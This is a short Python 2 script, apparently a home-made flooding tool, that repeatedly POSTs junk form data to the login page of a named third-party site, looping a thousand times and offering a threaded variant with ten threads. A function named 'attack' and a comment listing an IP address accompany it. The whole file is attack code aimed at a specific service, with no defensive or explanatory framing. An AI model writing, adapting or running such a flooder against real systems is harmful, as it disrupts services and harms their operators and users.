import urllib,urllib2,thread
#183.129.177.38
# loveloli.apphb.com/login.aspx
i=0
a=thread.allocate()
a.acquire()
def attack():
	try:
		data={'QQqun':'bilibili'}
		data2=urllib.urlencode(data)
		req=urllib2.Request('http://loveloli.apphb.com/login.aspx?',data2)
		jishu()
		req2=urllib2.urlopen(req)
		# req2=urllib2.urlopen('http://www.bilibili.tv/video/av687443/')
		# print	req2
		
	except:pass
	

def jishu():
	global i
	i+=1
	print 'the %d times'%i,'\r',

def xunhuan(x):
	for i in xrange(x):
		attack()


def run():
	for i in xrange(10):
		thread.start_new_thread(xunhuan,(50,))
	a.release()
	# thread.start_new_thread(xunhuan,(50,))
if __name__ == '__main__':
	xunhuan(1000)
